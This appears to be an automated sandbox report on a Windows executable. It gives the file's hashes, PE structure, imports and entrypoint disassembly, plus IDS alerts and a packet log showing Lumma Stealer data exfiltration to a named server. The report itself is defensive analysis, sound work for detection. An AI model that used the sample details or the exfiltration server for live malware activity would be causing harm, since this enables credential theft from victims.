C:\ProgramData\Microsoft\Windows\WER\Temp\WER15A9.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8336
Entropy (8bit):	3.6963968728483843
Encrypted:	false
SSDEEP:	192:R6l7wVeJzg6jt6Y2DUSU1gmfwhhpDu89blNsfYuA3m:R6lXJ06p6Y5SU1gmfwhzlGf79
MD5:	DDE512E34EC44C7BA037EE9316DBAD1D
SHA1:	EF1977F87BA0DC10499730133C8BAD6551BA5539
SHA-256:	3D0ACF7872DE02317460E6A29A279CBEC0D1081FEAA005F06DC48CCB5A3BD31B
SHA-512:	8B22986DB430C3516057A8C51DCD10CC365F92F5AE0289353178C9A8D866DC7B6CF693DA5AAA1BD73246232F7E824B4C1920A1CF4D3F9B8AFFEC7D149851CBD9
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER15F8.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.486540606475781
Encrypted:	false
SSDEEP:	48:cvIwWl8zscJg77aI9N6WpW8VYGIYm8M4JjAU4YF6p+q8XHFgQ9ppEd:uIjfaI7D77VhlJjp4BuHFhnpEd
MD5:	97CA2FA2989C57592A603DB2DAADDD64
SHA1:	2B15B9C2D7545911805F623F608E1DF42153A82D
SHA-256:	47AFB0F638B26F7A3DA7AF75C0338931AA0C64FC8B25069A44D7A008738E86BF
SHA-512:	CD8008AFD34C47EFE4730BBC487B6FC5FADA25D45F585948D26311FC2A7C0AC6D90C19F22DC9FD91C227ADC04D0855D7F734ECF012452A63E74F3BD70138C581
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="586137" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468524968575776
Encrypted:	false
SSDEEP:	6144:BzZfpi6ceLPx9skLmb0fVZWSP3aJG8nAgeiJRMMhA2zX4WABluuNqjDH5S:ZZHtVZWOKnMM6bFpUj4
MD5:	4BC356D49D1F52B9D9AC732E0E6C99DD
SHA1:	7C74E48579EB0CEBE4B0D1F8C930F3E548BD0E7C
SHA-256:	5B47DF97A1940700F2AC89EC88BFCF73C51EAB612891AE07055EE6E54617314C
SHA-512:	12C58B882CE215910DD848BBCA9BD50F62D624318E4E9428B417CF7518624C627670D0D45CE11DC418E31124EDF7E141E62A980A73A4587DD594A7A2AEA3D7DE
Malicious:	false
Reputation:	low
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmbSP..5..............................................................................................................................................................................................................................................................................................................................................v.F0........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.283709277617488
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Vd3tOP5WSD.exe
File size:	476'160 bytes
MD5:	d539e0fd4638f335e6ba827c71103e03
SHA1:	8448a6b53a5be38ee721065161d20824368379f2
SHA256:	6b5e8356c9c11bb8018e49bacb31892460073945fb601b61cebdcf838ac6c5f1
SHA512:	c166d6199d5e094ad085dee8b9fc6e4089ab90f475d9860f8beed74d9e3c45c9cf34b32f7239f24b67e5881a8d2a3d695a8f8e8145d815f257d65e81e2b7b90e
SSDEEP:	6144:wdXimPCohrkj2pH46GDqucMdeGmwze3DbCs4UUg+zq+R9vqu3KGPMW29T+G3/maB:wrPLh2mEquDeGWDOs4UUg6PzKGPoFOa
TLSH:	F1A4D01273D19435EA2746715E6AC3F86A2EB8318F556BEB236C4B3F0D712E2D672301
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{p..............l.......l.......l.......b..........Z....l.......l.......l......Rich............PE..L...l..a...................

File Icon


Icon Hash:	911125294961873e

Static PE Info

General

Entrypoint:	0x40b3ef
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x61D6D96C [Thu Jan 6 11:58:36 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	bdc5b971e9cd1e82f0e317074bf19aac

Entrypoint Preview

Instruction
call 00007F2264858A06h
jmp 00007F2264851E0Eh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
xor ecx, ecx
cmp eax, dword ptr [0041F240h+ecx*8]
je 00007F2264851F95h
inc ecx
cmp ecx, 2Dh
jc 00007F2264851F73h
lea ecx, dword ptr [eax-13h]
cmp ecx, 11h
jnbe 00007F2264851F90h
push 0000000Dh
pop eax
pop ebp
ret
mov eax, dword ptr [0041F244h+ecx*8]
pop ebp
ret
add eax, FFFFFF44h
push 0000000Eh
pop ecx
cmp ecx, eax
sbb eax, eax
and eax, ecx
add eax, 08h
pop ebp
ret
call 00007F22648559C0h
test eax, eax
jne 00007F2264851F88h
mov eax, 0041F3A8h
ret
add eax, 08h
ret
call 00007F22648559ADh
test eax, eax
jne 00007F2264851F88h
mov eax, 0041F3ACh
ret
add eax, 0Ch
ret
mov edi, edi
push ebp
mov ebp, esp
push esi
call 00007F2264851F67h
mov ecx, dword ptr [ebp+08h]
push ecx
mov dword ptr [eax], ecx
call 00007F2264851F07h
pop ecx
mov esi, eax
call 00007F2264851F41h
mov dword ptr [eax], esi
pop esi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 4Ch
mov eax, dword ptr [0041F3DCh]
xor eax, ebp
mov dword ptr [ebp-04h], eax
push ebx
xor ebx, ebx
push esi
mov esi, dword ptr [ebp+08h]
push edi
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-1Ch], ebx
mov dword ptr [ebp-20h], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-24h], ebx
mov dword ptr [ebp-4Ch], esi
mov dword ptr [ebp-48h], ebx
cmp dword ptr [esi+14h], ebx

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1daf4	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2eb000	0xb378	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4560	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1f0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d66e	0x1d800	1738ce25c4411490407f6ffae6dd6aa6	False	0.5238512976694916	data	6.499251735167183	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x1f000	0x2ca970	0x4b200	8819af21714358a54f70fdf1e93162dd	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.sic	0x2ea000	0x5	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2eb000	0xb378	0xb400	88f3de87dcc037eb376dbcb4b2d0c7c3	False	0.38363715277777777	data	4.336173517940792	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2eb4f0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.49774368231046934
RT_ICON	0x2eb4f0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.49774368231046934
RT_ICON	0x2ebd98	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5650921658986175
RT_ICON	0x2ebd98	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5650921658986175
RT_ICON	0x2ec460	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.5635838150289018
RT_ICON	0x2ec460	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.5635838150289018
RT_ICON	0x2ec9c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.4329268292682927
RT_ICON	0x2ec9c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.4329268292682927
RT_ICON	0x2eda70	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.41721311475409834
RT_ICON	0x2eda70	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.41721311475409834
RT_ICON	0x2ee3f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.4512411347517731
RT_ICON	0x2ee3f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.4512411347517731
RT_ICON	0x2ee8c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.31663113006396587
RT_ICON	0x2ee8c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.31663113006396587
RT_ICON	0x2ef768	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.3916967509025271
RT_ICON	0x2ef768	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.3916967509025271
RT_ICON	0x2f0010	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.4377880184331797
RT_ICON	0x2f0010	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.4377880184331797
RT_ICON	0x2f06d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.4190751445086705
RT_ICON	0x2f06d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.4190751445086705
RT_ICON	0x2f0c40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.25570539419087135
RT_ICON	0x2f0c40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.25570539419087135
RT_ICON	0x2f31e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.29080675422138835
RT_ICON	0x2f31e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.29080675422138835
RT_ICON	0x2f4290	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.3008196721311475
RT_ICON	0x2f4290	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.3008196721311475
RT_ICON	0x2f4c18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.3351063829787234
RT_ICON	0x2f4c18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.3351063829787234
RT_STRING	0x2f53a8	0x412	data	Tamil	India	0.45777351247600767
RT_STRING	0x2f53a8	0x412	data	Tamil	Sri Lanka	0.45777351247600767
RT_STRING	0x2f57c0	0x360	data	Tamil	India	0.48032407407407407
RT_STRING	0x2f57c0	0x360	data	Tamil	Sri Lanka	0.48032407407407407
RT_STRING	0x2f5b20	0x25e	data	Tamil	India	0.4834983498349835
RT_STRING	0x2f5b20	0x25e	data	Tamil	Sri Lanka	0.4834983498349835
RT_STRING	0x2f5d80	0x5f6	data	Tamil	India	0.4351245085190039
RT_STRING	0x2f5d80	0x5f6	data	Tamil	Sri Lanka	0.4351245085190039
RT_ACCELERATOR	0x2f50f8	0x90	data	Tamil	India	0.6944444444444444
RT_ACCELERATOR	0x2f50f8	0x90	data	Tamil	Sri Lanka	0.6944444444444444
RT_GROUP_ICON	0x2ee860	0x5a	data	Tamil	India	0.7222222222222222
RT_GROUP_ICON	0x2ee860	0x5a	data	Tamil	Sri Lanka	0.7222222222222222
RT_GROUP_ICON	0x2f5080	0x76	data	Tamil	India	0.6779661016949152
RT_GROUP_ICON	0x2f5080	0x76	data	Tamil	Sri Lanka	0.6779661016949152
RT_VERSION	0x2f5198	0x20c	data			0.5629770992366412
None	0x2f5188	0xa	data	Tamil	India	1.8
None	0x2f5188	0xa	data	Tamil	Sri Lanka	1.8

Imports

DLL

Import

KERNEL32.dll

FindFirstChangeNotificationW, GetDriveTypeW, GetProfileIntW, GetConsoleAliasExesLengthA, LoadResource, InterlockedIncrement, WaitNamedPipeA, SetComputerNameW, OpenSemaphoreA, FreeEnvironmentStringsA, MoveFileWithProgressA, GetModuleHandleW, GetSystemTimeAsFileTime, EnumTimeFormatsW, SetProcessPriorityBoost, GetVolumePathNameW, GetPrivateProfileIntA, GetPrivateProfileStructW, GetSystemPowerStatus, FreeConsole, GetCalendarInfoA, GetFileAttributesW, WriteConsoleW, lstrcatA, GetShortPathNameA, EnumSystemLocalesA, DeleteFiber, SearchPathW, GetCurrentDirectoryW, GetProcAddress, ResetEvent, LoadLibraryA, WriteConsoleA, GetProcessId, InterlockedExchangeAdd, OpenWaitableTimerW, LocalAlloc, SetCalendarInfoW, FindFirstVolumeMountPointW, SetFileApisToANSI, QueryDosDeviceW, AddAtomA, SetSystemTime, GlobalWire, GetModuleFileNameA, FindNextFileA, CreateIoCompletionPort, GetModuleHandleA, FreeEnvironmentStringsW, CreateMailslotA, EnumDateFormatsW, CompareStringA, TerminateJobObject, FileTimeToLocalFileTime, GetVolumeNameForVolumeMountPointW, EnumCalendarInfoExA, EnumSystemLocalesW, GetLastError, GlobalFix, WideCharToMultiByte, InterlockedDecrement, InterlockedExchange, MultiByteToWideChar, EncodePointer, DecodePointer, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, HeapFree, HeapAlloc, HeapReAlloc, GetCommandLineA, HeapSetInformation, GetStartupInfoW, GetCPInfo, RaiseException, RtlUnwind, LCMapStringW, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, GetCurrentProcess, IsProcessorFeaturePresent, HeapCreate, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, ExitProcess, WriteFile, GetModuleFileNameW, SetFilePointer, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetStringTypeW, GetLocaleInfoW, HeapSize, GetUserDefaultLCID, GetLocaleInfoA, IsValidLocale, GetConsoleCP, GetConsoleMode, LoadLibraryW, SetStdHandle, FlushFileBuffers, CreateFileW, CloseHandle

GDI32.dll

GetCharABCWidthsA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T10:51:26.431513+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49856	94.158.244.69	80	TCP
2024-11-13T10:51:26.431513+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49988	94.158.244.69	80	TCP
2024-11-13T10:52:13.306691+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.6	49773	TCP
2024-11-13T10:52:26.013044+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49805	94.158.244.69	80	TCP
2024-11-13T10:52:44.132548+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49903	94.158.244.69	80	TCP
2024-11-13T10:52:50.913637+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.6	49983	TCP
2024-11-13T10:52:53.138051+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49956	94.158.244.69	80	TCP
2024-11-13T10:53:01.909159+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49986	94.158.244.69	80	TCP
2024-11-13T10:53:20.128560+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49989	94.158.244.69	80	TCP
2024-11-13T10:53:20.849421+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49990	94.158.244.69	80	TCP
2024-11-13T10:53:20.849421+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	49990	94.158.244.69	80	TCP
2024-11-13T10:53:38.222316+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49991	94.158.244.69	80	TCP
2024-11-13T10:53:47.017589+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49993	94.158.244.69	80	TCP
2024-11-13T10:53:56.106852+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49994	94.158.244.69	80	TCP
2024-11-13T10:54:05.000873+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49995	94.158.244.69	80	TCP
2024-11-13T10:54:13.834771+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49996	94.158.244.69	80	TCP
2024-11-13T10:54:22.617838+0100	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	1	192.168.2.6	49997	94.158.244.69	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 10:52:17.514739990 CET	49805	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:17.519670963 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.519777060 CET	49805	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:17.520049095 CET	49805	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:17.520529985 CET	49805	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:17.525082111 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525151014 CET	49805	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:17.525407076 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525417089 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525432110 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525441885 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525465012 CET	49805	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:17.525485039 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525495052 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525511026 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525520086 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.525582075 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.530626059 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.530644894 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.530653954 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.530663013 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:17.530672073 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.012854099 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.013044119 CET	49805	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.019064903 CET	49805	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.024199009 CET	80	49805	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.637728930 CET	49856	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.642760038 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.642882109 CET	49856	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.642975092 CET	49856	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.643377066 CET	49856	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.648221016 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648325920 CET	49856	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.648379087 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648432016 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648451090 CET	49856	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.648462057 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648494005 CET	49856	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.648526907 CET	49856	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:26.648535013 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648565054 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648592949 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648622036 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648649931 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.648679018 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.653419971 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.653454065 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.653556108 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.653584003 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.653697014 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.653724909 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:26.701534033 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:35.136523008 CET	80	49856	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:35.645240068 CET	49903	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:35.650624037 CET	80	49903	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:35.650728941 CET	49903	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:35.650890112 CET	49903	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:35.651307106 CET	49903	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:35.655711889 CET	80	49903	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:35.656172037 CET	80	49903	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:44.132391930 CET	80	49903	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:44.132548094 CET	49903	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:44.132765055 CET	49903	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:44.137588978 CET	80	49903	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:44.644547939 CET	49956	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:44.649610043 CET	80	49956	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:44.649729967 CET	49956	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:44.649811029 CET	49956	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:44.650234938 CET	49956	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:44.654589891 CET	80	49956	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:44.655047894 CET	80	49956	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:53.137805939 CET	80	49956	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:53.138051033 CET	49956	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:53.138176918 CET	49956	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:53.143006086 CET	80	49956	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:53.427455902 CET	49986	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:53.432429075 CET	80	49986	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:53.432531118 CET	49986	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:53.432670116 CET	49986	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:52:53.433115005 CET	49986	80	192.168.2.6	94.158.244.69
